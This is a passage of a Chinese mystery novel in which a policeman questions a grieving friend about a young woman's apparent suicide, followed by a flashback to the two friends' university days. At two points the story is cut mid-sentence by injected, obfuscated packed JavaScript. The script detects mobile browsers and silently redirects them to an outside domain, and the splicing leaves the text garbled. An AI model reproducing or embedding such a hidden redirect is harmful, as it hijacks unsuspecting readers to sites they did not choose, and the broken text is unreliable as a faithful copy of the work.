令人欣慰的是,葬礼开始前有意外的吊唁者出现了。边何和民警小刘身着朴素的便衣走到众人面前。简单问候后,二人便自觉地站到吊唁队伍的队尾。 告别仪式开始。时隔多日,叶微瑄见到了她的朋友。楚零瘦小的身躯安静地躺在棺材中,曾经白皙的皮肤变成暗淡的灰色。叶微瑄盯着那张毫无血色的脸,惊诧大于难过,也感到莫名的慌张。为什么会这样?好友昔日的笑颜频频出现在她的脑海中。就在上周,楚零还笑着和她说——“就是感冒,别担心。”对方的笑容明明是那么的富有亲和力。现在呢?只能用“黯淡”两个字形容。 顾锵然和楚零父母站在棺木旁,三人全程沉默不语。叶微瑄抹了抹眼角,行礼,麻木地随众人绕棺一周。告别厅里传来小声的呜咽声,她看向身后,陶涂涂捂着嘴,泪水顺指缝流淌。马暗尘跟在后面,不停地吸着鼻子。他只看了楚零一眼,便难过地垂下脑袋。 仪式简短而庄重,棺材被合上的瞬间,楚零母亲忽然大叫一声,晕倒在女儿身旁。马上就要火化了,她知道,这是她与女儿的最后一面。白发人送黑发人,最难不过如此了。 …… “这对父母今后的生活真是令人在意。”一个小时后,边何对坐在身旁的叶微瑄说。 叶微瑄本和几个朋友商量好开追思会,却被边何叫了出来。对方说有事要问她,直觉告诉她与楚零有关。于是,她让几个朋友先去家里等候,自己则与边何来到小区附近的社区公园。 “为什么这么说?”她问。 “有人面对亲人离世会大哭大闹,有人会对亲人的死因不闹不休。可这对父母很安静。” “安静?” “是的。他们很爱女儿。女儿意外自杀,他们心中有一百个不解。可面对警方的调查结果时,他们却没有挣扎就接受了。倒不是说他们有多信任警察,只是他们似乎也没有意识去追究,或者试图去推翻现有的结论。面对重大变故,他们好像不知道该怎么做,只是顺从的接受。如此一来,所有的不甘会化为痛苦,只会雪上加霜。” “原来你是这个意思。”其实叶微瑄也感受到了。楚零父母性格憨厚,一言一行透着老实本分。“零零的爸妈很善良。”她也不知道为什么这么说,但结论看上去合情合理。 边何“嗯”了一声。“有些事还得不善良的人来做。”他苦笑一声,靠向身后的长椅,“我有话问你。除了顾锵然,你是楚零在这座城市最亲近的人,我想了解楚零生前的状态。” “啊?”叶微瑄露出一个疑问的眼神,这位警察之前不是问过吗? 对方似乎看穿了她的心思。“我需要你详细的和我说说,从你们认识开始。” “为什么?难道你也……”叶微瑄顿了一下,“可是都结案了啊。零零的手腕……”有的话很难说出口,“说明她确实有自杀倾向,不是么?” “试切创痕也叫踟蹰伤。” “我知道,你不用再强调一遍。” “试切。” 边何没理她,又重复一遍并加重语气。叶微瑄一时有些烦躁。她皱起眉毛,就在要发牢骚时,却发现对方的表情十分严肃。 “我想说的是,楚零可能是想自杀,但终究没能下手。”边何抬起头,直勾勾地盯着不远处的一根树梢。“不是么?”他反问道。 楚零手腕上的两道试切创痕不是案发日留下的,而是案发日的前两天。对方为何换掉割腕的方式改为自缢,边何对此感到不解。相较于割腕,自缢是一种不体面且十分痛苦的自杀方式。 他看过死者被发现时的照片。对方身着米黄色睡衣睡裤,脖颈处有明显缢沟,外眼结膜和表面皮肤有散在性出血,口涎流注到锁骨的位置。边何很难把这悲惨的死相和楚零联系在一起,因为从房间物品陈列的整洁程度看,对方生前是一个精致爱美的女孩子。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506570|186084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“我不认为楚零是自杀。”他看向叶微瑄,忽然用肯定的语气吐露心中的想法,“没错,试切创痕是结案的关键性证据,但我们换个角度看,也可能是相反的结果。我不认同结案报告上的内容,所以会继续调查下去。”案子结的有些草率,至少他是这么认为的。 “继续调查会不会给你带来麻烦?” “不会。我的工作不是结案,而是查明真相。” 叶微瑄怔了怔,边何淡然的语气和突如其来的自白令她感到诧异。多日来干冷的内心深处燃起一小团火焰,她扬起嘴角,眼底泛红。“我也是这么认为的。”她吸了吸鼻子轻声说。 “楚零是一个爱干净的女孩,对吧?” “是的。”叶微瑄点头,“大学时,她常来宿舍帮我打扫卫生。有时见我的脏衣服搭在椅背上,会主动帮我洗。她说我长得好看,见不得我邋遢的样子。”好像有自夸的嫌疑,她有点难为情,“是她说的,不是我。” 没说错啊,边何笑而不语。 “不许笑。”聊起过往总是开心的,叶微瑄的话渐渐多了起来,“在我搬回这个小区后,零零每次来我家都会帮忙收拾……她还威胁我说,如果家里总是这么乱,她以后就不来串门了。我才不听她的,我知道她是在开玩笑。不过相较而言,她家就很干净。” “你知道她打扫卫生的频率吗?还是说她天天都要打扫。” “没有天天那么频繁。自工作以后,零零经常加班。卖场晚上十点关门,她要夜里才回来。她哪有时间天天打扫,只能趁周末。不过,她平时就会保持整洁,地面台面见不到半点灰,换我都觉得没必要收拾。” “咯咯咯”,边何笑出声音。他回想叶微瑄家的情形,对方能说出这样的话也在情理之中。 “你是不是有什么发现?不能只是因为踟蹰伤吧。”叶微瑄用试探的语气问。楚零不会自杀,她有这样的想法多半是感性的认知在作祟。可她不认为警察也是这样,边何不认识楚零,坚持调查只能说明对方掌握了可疑的线索。“能告诉我吗?” 边何暂时不能回答她的问题,摇头道了一声“抱歉”。他从兜里掏出迷你平板电脑,是他自己的,不是队里发的。托高科技的福,笔录可以采取录音的方式,电脑会替他翻译成文字。他调出痕检报告,用电子笔在上面记录着什么。 “见楚零的那晚,也就是上周五,你进她家客厅了吗?” 语气像是在审问……叶微瑄不满地瞥了边何一眼,对方低着头,根本没看她。她仔细想了想,“进了。零零轰我来着,说是怕传染我感冒。但我看她状态不好,还是陪她待了一会儿。那个……” “怎么了?” “那会儿她是不是……”她握住左手手腕,扭了扭。 边何停笔抬起头,思考了一会儿。“我想是的。”他又低下头,一边做记录一边说,“你说你见到她的时候,她穿的羽绒服,而且眼圈泛红。我猜她应该不是因为感冒才那么穿的,可能是慌乱间随便找了一件能挡住手腕的衣服。” “难怪啊……”叶微瑄若有所思地皱了皱眉毛。 “回到刚才的话题。你在客厅碰什么东西了吗?” “啊?什么意思?” “字面意思,是否摸过家具,比如:茶几、书柜之类的。” “我摸过茶几、沙发……哦,她家很闷,为了通风我还开了窗户。 “窗户?哪扇窗户?” “靠绿植的那扇。但零零说冷,怕风吹到植物,所以开了一会儿就关上了。没办法,我们小区的供暖一言难尽,不开窗户都很冷。” “这样啊……”边何陷入沉思。他来回翻看痕检报告,心跳微微加速。报告上似乎少了些什么,恰好能印证他心中的想法。“能和我说说,你们那天都聊了什么吗?” 聊得都是闺蜜间的秘密,怎么好告诉别人。叶微瑄挠挠脸,犹犹豫豫地开口:“生活啊、爱情啊、理想啊,大概就是这些。别看她一开始轰我走,但我了解她,她只是怕麻烦别人。反正回家时,我觉得她的状态好多了,好像感冒都快好了呢。” 小丫头是在故意岔开话题,边何在心中发笑,没有刨根问底。“楚零喜欢看书,是吗?” “是的。零零算是我周围最爱看书的人。她的文笔特别好,出口成章,没事儿就会绉两句。我俩刚认识的时候,我送过她一枚书签,她可喜欢了。” “金属质地的?” “啊!”叶微瑄惊讶地点点头,“你怎么知道?” “我见过。” “你怎么……好吧,我知道了。”那枚书签跟随楚零度过大学四年,并且被带到燕京。叶微瑄在对方家里经常见到。“书签是一对,另一半在我那里,寓意高山流水、知音难遇的友情。” 人走了,友情也消失了,她难过地垂下视线。 边何想起书签上的图案,眼神渐渐变得复杂。他不禁想问,在这个利益驱使的社会,还有如此诚挚的友情吗?可能也就存在于学生之间吧。他不确定答案,也懒得去探究。 “我今天要问的就这么多。”他站起身,扭了扭腰,低头看向沉默不语的叶微瑄,“我还会找你的。你若愿意,可以随时和我发消息聊聊楚零的过去。”平板电脑被塞回兜里,转身时,他忽然挺直身体,好像想起什么。“对了。” 叶微瑄没有抬头,只是撇撇嘴表示听见了。 “其实一开始,我就对楚零的自杀抱有怀疑。”听完叶微瑄的讲述,他的心中又多了一丝确信。“怎么说呢,我在案发现场发现了一些不同寻常的地方,包括你说的那枚书签。” 叶微瑄抬起头,眼睛似乎比刚刚亮了一些。 “客厅的边桌上放着一本倒扣的书,书旁边放着你送楚零的金属书签。不难猜,出事之前楚零在看书。” “然后呢?” “我问你,我们什么时候会用书签?” “当然是……啊!我知道了!”叶微瑄心里咯噔一下,猛地起身,“不想看了就会别好书签,将书放到一旁,而不是倒扣。” 聪明的小丫头,边何笑着点头。“楚零是一个做事井井有条的女孩,倒扣书只能说明一件事,她没打算停止看书。我猜大概是有什么事,让她做出这样的举动。她可能以为很快就能解决这件事,于是将书倒扣,好回来继续看。只可惜……” 边何在陈述可能的事实,叶微瑄倒吸一口凉气,浑身的汗毛都竖起来了。什么事会打断正在看书的楚零?可能是去卫生间,可能是接电话,也可能是有人按门铃。零零是被谋杀的——现在她几乎可以确切的说出这句话。 “那个……小边警官……” “好客气的叫法啊。” “冒昧的问一句。若是谋杀,凶器是什么?” “你还挺懂的。凶器就是楚零上吊用的绳子——登山绳,民警应该告诉过家属。据顾锵然说,楚零买登山绳是为了应付突发情况,防患于未然,其实是个不错的想法。” 记忆里楚零确实这么说过,只不过保命的登山绳成了索命的工具。叶微瑄叹了一口气,答了一个字“是”。 4. 书签2 如果是谋杀,那会是谁呢? 边何离开后,叶微瑄一个人闷闷不乐地朝家的方向走去。她了解案件的一些皮毛,尤其是与自杀结论相关的判断依据,这些都是从边何和楚零父母那里听来的。现场干净、无打斗痕迹……能做到悄无声息行凶的只有熟人。如果是熟人作案……她被自己的想法吓到了,心怦怦乱跳。楚零在燕京认识的人不多,有机会作案的好像只有他们。 不会的,一定不是他们。虽然这么想,但顾锵然、马暗尘、陶涂涂的模样还是出现在她的脑海中。怎么可能呢?警察又不是吃干饭的,至少那位叫边何的不是。若是朋友行凶,他一定能查出来的。她为自己的想法感到罪恶,不知不觉加快了回家的脚步。 “这不死了那丫头的朋友么……”“这孩子我看着长大的。”“干嘛搬回来呀。”“说的是呢,还带一个。”“人家房子现在租也租不出去,卖也卖不出去,真够倒霉的。”“行了,别同情人家了,整个小区的房价都掉没了。” 小区里,邻居们窃窃私语的声音被叶微瑄听的一清二楚。这样的议论不是一天两天了,伴随而来的还有异样的眼神。她也没想到大家会有这样的想法,毕竟楚零刚出事的时候,个别邻居还会主动关心她。 直到有一天。“丢了三个单子,本来都要交订金了。”某位房产中介向业主抱怨。仅用一个上午,这句抱怨就传遍整个小区。从那时起,叶微瑄就成了小区的罪人,个别邻居对她的态度甚至发生了一百八十度大转变。 他们一定恨死她了。比起同情的目光,怨念的眼神更令她感到不舒服。她低着头,强忍心中的不快,径直走回家。 “你总算回来了。”陶涂涂朝她招手。客厅铺着地毯,陶涂涂和马暗尘、顾锵然围着茶几席地而坐。与楚零一样,叶微瑄也将小两居中较大的卧室改为客厅。 “冰箱里有饮料,你们怎么不喝。”叶微瑄脱掉羽绒服,随手一扔,转身回到厨房,从冰箱里取出一升装的低糖红茶,顺便取了四个杯子。“聊什么呢?”她为几人倒好饮料,也坐到茶几旁。 “当然是零零啦——”陶涂涂抿着嘴说道,“我们在回忆大学期间的趣事呢。刚刚暗尘说,零零一开始可内向了,不爱说话,都是被你带的。” 马暗尘正仰着脖子喝红茶,差点因陶涂涂的话呛到。“涂涂,你怎么就把我卖了。”他清了清嗓子,看向叶微瑄,“我说你看着文静,但熟悉了就很活泼。零零是被你感染了,才渐渐对大家敞开心扉。” “你说的可不是活泼……你说人家玩开心了就疯疯癫癫的……” 什么?叶微瑄没好气地瞪了马暗尘一眼。对方挠着后脑勺,憨笑着露出洁白的牙齿,向顾锵然投出一个求助的眼神。这时候,只有男人可以帮男人了。 “我了解零零,她其实是一个外向的人,与小瑄没关系,不然就不会在卖场做销售。这份工作天天要和陌生人打交道。”顾锵然的语气十分疲惫。他说话的时候大家都很安静。 “可是……”叶微瑄犹豫着开口,“外向的人会自杀么?我总觉得他们会相对乐观。零零也是,她那么积极向上的一个人。” 众人听闻沉默了。现在说这样的话可能不合时宜,但叶微瑄很想知道朋友们是怎么想的。或许他们也觉得案子有蹊跷。若真是这样,那零零就不是他们杀害的。叶微瑄鼓起勇气看向每张脸,没有人回视她。不过看表情,在座的每个人心中都有同样的疑问。 “我记得零零有写日记的习惯。”陶涂涂皱着眉毛开口,“她就没在日记中留下蛛丝马迹?” “没有。”顾锵然接受的问询最多,是几人中最了解案情的人,“自上班以后,零零写日记的次数就不如以前频繁了。警察找到了两个日记本,她最近一次写日记的日期是11月——我生日的第二天。” “也是,谁上班还写日记啊,一天天的都快忙死了。”马暗尘附和道,听语气就好像他之前写过一样。在座的人都了解他,他不喜欢看书,更不会写日记。 “你们听说了吧……”顾锵然摩挲着手中的杯子。杯中已无红茶,叶微瑄见状又给他倒了一杯。“零零自杀前,我给她打过电话。” “什么?”惊呼声来自陶涂涂和马暗尘。叶微瑄没有感到惊讶,她在接受问询时,听警察聊起过这件事。 “抱歉。之前一直在处理零零的丧事,我就没告诉你们。” 顾锵然顿了顿,他的声音忽然有些颤抖,“警察说零零是晚上八点到十点自杀的,我是九点左右打的电话,我们聊了有一刻钟。我没察觉到任何异样,怎么会在我刚打、打完……” “可以不用说的,锵然。”叶微瑄不忍心看顾锵然继续说下去了,轻轻拍了拍对方颤抖的肩膀。前一秒还在和自己说笑的恋人,下一秒就自杀了,很难想象会是怎样一种感觉。 她看着顾锵然那张痛苦的脸,心生愧疚。就在刚刚回家的路上,她曾在心里将对方列为杀害楚零的第一嫌疑人。锵然有不在场证明的,警察已证实。她不该那么想自己的朋友,哪怕只是一瞬间。 “锵然,你不用自责。零零出事前,我见过她,还不是一样没察觉出不对。”她看向陶涂涂和马暗尘,“你们最后一次见零零是什么时候?” “很久之前了。”陶涂涂不假思索地答道,“我的工作性质你们了解,平时没法骚扰你们,和你们有时差。零零下班晚,阴差阳错的总约不上。”她拨弄着地毯上的毛毛,神色颇为后悔,“算了,不提了。话说回来,我家邻居以为我从事的是什么不正经的职业呢,看我的眼神可奇怪了。” “咯咯咯”,陶涂涂的发言稍稍缓解了沉闷的氛围。她总是扮演这样的角色。 “暗尘呢?”叶微瑄笑着问。 “啊?我想不起来了。”马暗尘看向天花板,思考了一会儿,“我最近忙,没联系过零零。咱们不也很久没见了吗?”他歪着脑袋叹了一口气,随后摸向茶几上的饮料瓶,却发现瓶子空了。 “我再去拿,冰箱里还有。” “不用了。”顾锵然拦住正要起身的叶微瑄,“今天早点散吧。零零的事让你陪着忙活了一周,明天还要上班,你应该好好休息休息。” 上班?叶微瑄难为情地僵在原地。明明是一起毕业的,她的成绩和形象也不差,怎么就成待业青年了。她一时语塞,尴尬地看向其他人。 “呃……”顾锵然自觉失言,“零零的妈妈还在医院输液,我等会儿想去看看她。若无大碍,晚上我送他们去火车站。” “嗯,这样最好。”马暗尘赞同道,“我陪你一起去。”这个提议被顾锵然欣然接受。 “那我们?”叶微瑄和陶涂涂互相看向彼此。 “你们就别去了。” “为什么?” “你们都是女孩子,又是零零的闺蜜,零零的母亲看见你们可能会触景伤情,想起自己的女儿。”见两人没有回应他,马暗尘又补充道,“再说了,加司机车里只能坐五个人,坐不下呀。” “这倒是。”叶微瑄和陶涂涂用眼神表达了认同。 三位好友离开后,叶微瑄回到客厅,一屁股坐进沙发里。她打开面前的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506571|186084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 电视,找到最近很火的侦探类综艺,点击播放。两个小时后,片尾广告出现,她发现自己连本集凶手是谁都不知道,心烦意乱地关掉了电视。 要不要搬走?她很困扰。零零不在了,快乐的日子戛然而止。伤心难过之余,她不想独自面对邻居们的闲言碎语和有色眼镜。这几天,她除了去面试,几乎不想出家门。 可是能搬到哪里去呢?难道要回家住吗?她蜷起双腿,用下巴抵住膝盖。爸妈会更失望吧?毕业这么久,不仅没有找到工作,好像也没有独立生活的能力。父亲愁眉苦脸的样子和母亲同情的目光同时浮现在她的脑海中。还是算了,她心想。 屁股下面的手机响起短促的提示音,是银行到账短信,金额是3000元。叶微瑄的父母每月都会给她转生活费,这是自她上大学就有的待遇。生活费的金额从起初的1500元逐年增长,毕业时是2500元。出来住后,她的父母又给她涨了500元,毕竟她要负担水电燃气的费用。 “小瑄,说实话,我挺羡慕你的。”楚零劝慰的言语出现在她的耳边,“只要不用交房租,3000块钱可以在大城市里活的很舒服,不会有生活压力。所以,你不要焦虑,找不到工作只是一时的。实现人生价值的方式多种多样,不用非和我一样打工,成为社会的牛马。” “讨厌。”当时,她笑着打了对方一下。 昔日的画面历历在目,既然克制不了对朋友的想念,不如就好好的回忆一番。她下决心似地轻吐一口气,起身前往卧室。墙角立着胡桃色的转角书柜,各种开本的书籍横七竖八的挤在一起。她挪开厚重的12开《全球史》,找到前两天翻看的英语词典。词典中间夹着一枚书签,金属工艺,上面绘有连绵不绝的青山。 十几块钱的书签做工却很精致,纹路清晰,也没有掉漆的迹象。叶微瑄靠向床头,打开笔记本电脑。E盘中有个200GB的文件夹,里面是大学四年的照片。 青涩、内敛、不爱说话是楚零留给叶微瑄的第一印象。她翻到二人的第一张合影。对方当时还保留着高中的习惯,素面朝天,梳着低马尾学生头,身穿白色卡通衬衫,打扮朴素。 就是那天,叶微瑄将书签送给了楚零。 叶微瑄喜欢拍照。和楚零成为朋友后,她们拍了很多照片。她一张张地仔细翻看,时间一分一秒的流逝。照片上的楚零,大一时青涩腼腆,大二时美丽秀气,大三时大方开朗,大四时温柔成熟。肉眼可见的,那张脸上的笑容越来越自信了。 如果不来燕京工作,零零是不是就不会出事了?叶微瑄看着电脑上的那张笑脸,无意识地握紧手中的书签。如果当初不主动和楚零说话,她们就不会成为朋友,很多事就会改变。甚至,对方可能不会来燕京工作。 楚零说过,小城市的生活虽没有大城市那般精彩,却有着让大城市羡慕的安逸。叶微瑄合上电脑,躺在床上想着对方说过的话。她不禁想:如果零零毕业后回老家,是不是就能拥有平稳幸福的人生了。 夜深了,她呆坐在床头,问了自己很多“如果”。或许零零不该来燕京,当初就该阻止她。困意伴随寒冷袭来,电脑从腿上滑落,意识逐渐被模糊的想法吞噬。她闭上眼睛,大脑中闪烁着昔日的画面,手中扔紧紧攥着那枚金属书签。 “你好,这个位子有人坐吗?” “没有。” “啊!又是你呀。” “是哦。” “妈呀,学校这么大,咱们竟然又见面了。我叫叶微瑄,来自燕京,你呢?” “楚零。” 5. 书签3 一年365天,除了热门旅游景点,如果说有什么地方可以300天都热闹,那一定是大学图书馆。这座位于湖畔旁的大学图书馆每天早上7点就会迎来第一波客人。与守在超市门口准备抢便宜鸡蛋相同的是,来者身上都带有一股视死如归的气势。不同的是,闪现在学生们明亮眼眸中的不是鸡蛋,而是对知识的渴望。 真不容易,总算找到两个位子。女生轻舒一口气,放下书包,顺手将保温杯摆在桌面。杯子是父母送的升学礼物,虽然普通、保温效果一般,但她能从温水中感受到父母的心意。三年了,保温杯已掉漆,她却从未想过换掉它。 还能用很久呢,就是坏了也可以当普通杯子用,她对身外之物始终抱着这样的理念,替她省下不少钱。她旋转杯子,让掉漆的图案面对自己,随后从包里掏出专业英语辅导书,推到隔壁桌位。“这个位子有人了。”——封面的英文字母与之无关,却表达了这样的意思。 现在还早,晚点再学习。一大早就学习也太苦了,不如先看看其他的,等朋友来了一起学。她走向不远处的书架,分区标签注明着“世界文学”。几经思考,她选了英文原版小说《The Notebook》,然后坐回原位。大概看了二十分钟左右,她的朋友出现了。对方一副无精打采的模样,半睁着眼,似乎没有睡醒,凌乱的长发就像刚刚遭受过战争的洗礼。 “零零,以后能不能改八点自习,好困。” “八点就没位置了。”她轻拍旁边的座椅,挪走辅导书,“醒醒,小瑄。” “你学习这么好,还这么努力,是要上天啊。”叶微瑄揉了揉眼睛,慢吞吞地打开书包。笔呢?明明放包里了。起床气说来就来,她焦躁地在书包里翻找,期间倒是清醒了许多。 “又没带笔?” “好像是,但我记得放了。” 楚零笑而不语,递给对方一支。自习时多带一支笔已成为她的习惯。 “锵然怎么没来?”叶微瑄翻开专业教材,小声问道。 “我没让他来。” “啊?为什么?” “我有事想和你说,他在不方便。” 叶微瑄的眼睛亮了一下。“什么事儿啊?”她趴在桌子上,扭头朝对方眨了眨眼,“不会是中奖了吧?” “诶呀!”楚零瞪了叶微瑄一眼,“瞎说什么呢。”她将一枚金属书签别进小说,书签很精致,上面绘有潺潺流水。“先好好学习,中午告诉你。”她合上书,推到一旁。 “还挺神秘的,现在就说嘛。” “好好学习。” 真是吊人胃口,叶微瑄小声嘟囔着“行吧”,没有继续追问。 大学图书馆的安静程度可以和医院住院大楼相媲美,只能在早上开门、午饭时间、晚饭时间和关门前感受到些许的喧嚣。 对面的男同学将笔扔到桌上,清脆的声音预示某个时间节点的到来。对方长吐一口气,合上厚重的专业词典,纸张碰撞发出“噗”的一声,沉重的知识大门暂时关闭。楚零见状放下笔,拧开杯子喝了一口水。叶微瑄早就坐不住了,她伸了一个懒腰,瞥了一眼出口方向。 二人在食堂解决午饭。叶微瑄点的小炒——熘肝尖和地三鲜,米饭是送的,不够可以再添。楚零选的是一素一荤的套餐,木耳炒火腿和菠菜鸡蛋。 “时间过的好快,咱们明年就毕业了。”楚零说话时,面前托盘的空格中多了两块猪肝,“谢谢。” “多补补,我妈说猪肝对眼睛好。” “好。”她的眼睛笑成一条缝,再睁开时,托盘中又多了两筷子地三鲜。 “多吃青椒,我妈说青椒维C含量很高,能提高免疫力,不容易感冒。” “哈哈哈,阿姨知道的可真多。” “要不怎么能生出水灵灵的我呢。”叶微瑄调皮地晃晃脑袋,吃了一块土豆。油炸过的土豆很好吃。 “小瑄,我时常在想,认识你挺幸运的。” “哎呀,干嘛突然煽情。孤身在外,咱们要好好照顾自己。” “才不是孤身在外,这不有你嘛。”楚零也动起筷子。 叶微瑄愣了愣,眼底微微酸胀。她垂下脑袋一声不吭,默默地吃了一口米饭。“也是。不过你不只有我,还有锵然,别把那个家伙忘了。” “你是第一位的,那家伙靠不住。” “靠不住还爱的死去活来的?” “好烦啊你。”楚零嘴角上扬,甜美的笑容就像阳光下的花朵。叶微瑄认为楚零是朋友里长得最好看的,尤其是笑的时候。无独有偶,对方也是这么认为她的。她俩很清楚,这不是互相恭维,而是偏心眼。事实是,陶涂涂才是众人心中公认的美女。 饭后,她们没有回图书馆。从学校西门出发,沿着马路走十分钟,能看到蜿蜒向前的废弃铁道。这片区域原先是一家大型钢厂,铁道是用来运送煤炭和钢材的。 叶微瑄和楚零常来这里散步,有时是谈心,有时也会聊一些上不了台面的话题。楚零常说,她脑袋里乌七八糟的知识全是叶微瑄教的。叶微瑄对此不以为意,因为这话基本属实。 “好啦,到底要和我说什么?”叶微瑄问。铁道一路向南,二人散漫地走着,脚下的枕木间长满了杂草和不知名的小黄花。 “再有一年我们就要毕业了。” “是啊,怎么了?” “你想过将来去哪工作吗?” “我?当然是回燕京啊。”叶微瑄不假思索地回答。这件事对她来说,就像吃饭睡觉一样理所当然。不过她很快意识到,与她而言理所当然的事情却是楚零的人生大事。“你在考虑工作的事?” 楚零“嗯”了一声,点点头。 “考虑什么呀!来燕……”话到嘴边,叶微瑄顿住了。她感到莫名的心慌,一股神秘的力量迫使她将脱口而出的话咽了回去。“楚零不能来燕京……”——奇怪的声音忽然出现在耳边。 “你是怎么打算的?”她问。 “我想去燕京,和你们一起。我有想要实现的人生价值,燕京各方面都很发达,机会多。我知道这个选择可能会面临一些困难,但你和锵然就像我的亲人,给了我底气。” “这样啊……” 叶微瑄一时不知说什么好。去燕京发展——无疑是楚零最好的选择。楚零和顾锵然都是稳重老实型的,他们的爱情不算轰轰烈烈,却细水长流。认识他们的人都说,他们一定会结婚。现在楚零想去燕京发展,正好一举两得。作为对方最好的朋友,她理应举双手赞成。 可能是叶微瑄的反应与预期不符,楚零疑惑地耸起眉毛。“怎么了?”她问,“你不想我去?” “没有。”叶微瑄矢口否认,不自然地笑了笑,“既然要来燕京,为什么犹豫?你找我单聊,肯定是心里不确定嘛。” “嗯……还是你懂我。”楚零露出一个欣慰的笑容,“我犹豫不是因为我自己,更不是因为你和锵然,而是因为我的父母。他们就我一个女儿,希望我能回老家找一份安稳的工作,守在他们身边。等他们不忙的时候,他们可以随时来县城看我。” “哦,倒是可以理解。” “是吧……他们还说,虽然他们只是普通人,但如果未来我有点什么事,他们在身边至少可以照顾我。听他们这么说,我就有些动摇了。你知道我父母的情况,老实本分,是那么的平凡,同时又是那么的爱我。” 叶微瑄看见,对方的眼眶红了。毫无疑问,楚零也很爱她的父母。 “没关系的。”楚零抹了抹眼角,“我有点困扰,到底要不要去燕京?” “别去了。” 楚零“啊”了一声,释放出一个惊异的目光。 朋友可能期待她帮忙消除顾虑,坚定去燕京发展的信心,叶微瑄偏偏没有这么做。她很想,但是她不能。脑海中奇怪的声音正逐渐变得清晰。 “楚零不能来燕京,会发生不好的事情……”——声音表达的意思令她胆战心惊。 “别来燕京了。”叶微瑄不知哪里来的勇气,提高了音量,“燕京是我的老家,我自然觉得它好,可它不一定适合你。” “为什么?” “就算回老家,你也不用在县城工作,你家附近也有大城市。单看商业环境,比燕京强多了。咱们是经管专业的学生,当然要找一个营商环境好的城市发展。” “有道理……” “若我家不在燕京,我是不会去燕京发展的。”叶微瑄认真说道。对朋友说违心话的感觉并不好受,她看向脚底,用力一踢,小石子沿着铁轨边缘蹦了几下,消失在杂草丛中。 说违心话的不止叶微瑄一人。她了解楚零,对方说想实现人生价值不假,但这一定不是全部原因,甚至可能不是最重要的那一个。在叶微瑄提起别的发达城市时,楚零眼中透露出了犹豫和抵触。楚零可以选择更合适的城市发展,但她的男朋友不会。顾锵然和叶微瑄一样,大概从未考虑过去其他城市工作和生活。 “你是不是担心锵然?”叶微瑄直截了当地问道。 “说不担心是假的。如果我不去燕京,那我们的关系也就基本结束了。他是不会和我去外省工作的。” “你问过他吗?” “不用问。锵然的妈妈是单亲母亲,他很孝顺,他们的关系很好。工作和上学不同,他不会丢下母亲跑到其他城市发展。更何况,燕京那么发达,他不可能舍近求远。” 这是事实,叶微瑄不好再说什么。聊天陷入僵局,二人肩并肩,沉默地走了一会儿。面前出现道岔,她们双双停下脚步。 道岔将铁轨一分为二,右边那条仍蜿蜒向前,左边这条划出一道缓和的弧线,向远方绵延而去。她们怔了怔,看向彼此会心一笑。 “可能这就是人生,虽然不知道道路的尽头是哪里,但还是要做出选择。”楚零学叶微瑄,用力踢向脚底的小石子。小石子向前直直的飞了出去。 叶微瑄有点心疼眼前的朋友。她心知肚明,同样的年纪,对方面临的人生挑战却比她多了许多。“零零,不如你再问问其他人的意见,尤其是锵然的。咱俩是好,但以后和你过日子的是锵然,他的意见很重要。” “明白,谢谢你,小瑄。”楚零认可地点头。 二人沿原路返回,叶微瑄的心思早已和书本内容无关。如果周围人都不建议楚零去燕京,对方是不是就会放弃?她认为答案是肯定的。既然如此,不如拉动周围人一起劝,就从顾锵然开始。 回到图书馆后,叶微瑄坐了一会儿便佯装有事,提前离开自习室。她给顾锵然打了一个电话,约对方在小树林见面。顾锵然虽有些诧异,但一听与楚零有关,便一口答应下来。 小树林离图书馆不远,快走只要五分钟。叶微瑄早早就到了约定地点,焦急地等待顾锵然。明明是明年才毕业,但她很着急,迫切的想要阻止楚零去燕京。 “你就不怕零零误会。”十几分钟后,顾锵然出现在她面前。他左顾右盼地环视四周,就好像做了什么亏心事。白天的小树林多是自习间歇寻求放松的同学,少见成双成对的恋人。晚上的小树林,才是单身人士的禁地。 “别矫情了。”叶微瑄不留情面地说道,“别忘了是我介绍你俩认识的,她怎么可能误会我。” “好吧。”顾锵然不置可否,“你要和我谈的事与零零有关,什么事啊?为什么不能在电话里说。” “电话说不明白。我问你,你毕业打算去哪工作?” “当然是回燕京了,这还用问。”顾锵然的语气和叶微瑄回答楚零时一模一样。 “那零零呢?” “零零?她当然是和我回燕京了。”依然是一样的语气。 “怎么就当然了?零零老家附近也有发达城市,干嘛非得来燕京?而且,她为什么不能回老家?县城有县城的好处。” “不是……燕京发达,而且我在燕京啊。来燕京不好吗?你别操心了,她肯定来燕京,以前我们聊过类似的话题,她对燕京十分感兴趣,很期待来燕京生活。” “以前是以前,那是期许。现在是现在,是现实。零零的父母就她一个女儿,希望她回到他们身边。所以,人家没准不想去燕京。” “不能吧……” “别什么事都想当然。” “那怎么办?你是怕她不来燕京?让我做好心理准备去劝她?”顾锵然语气实在,“你放心,我肯定会劝她。不过说真的,我觉得很多时候零零更愿意听你的意见,这是她亲口对我说的。她说你比我了解她。” 听对方这么说,叶微瑄有些难过。楚零很信任她,但她现在做的事好像不值得被信任。她也知道,楚零去燕京工作是最好的选择。 “零零是不是已经和你聊过这件事了?所以你才找我?”顾锵然终于意识到叶微瑄不会平白无故的找他,“她不想来燕京?让你试探我的口风?” “不是,她想来。” “那你找我干嘛?” 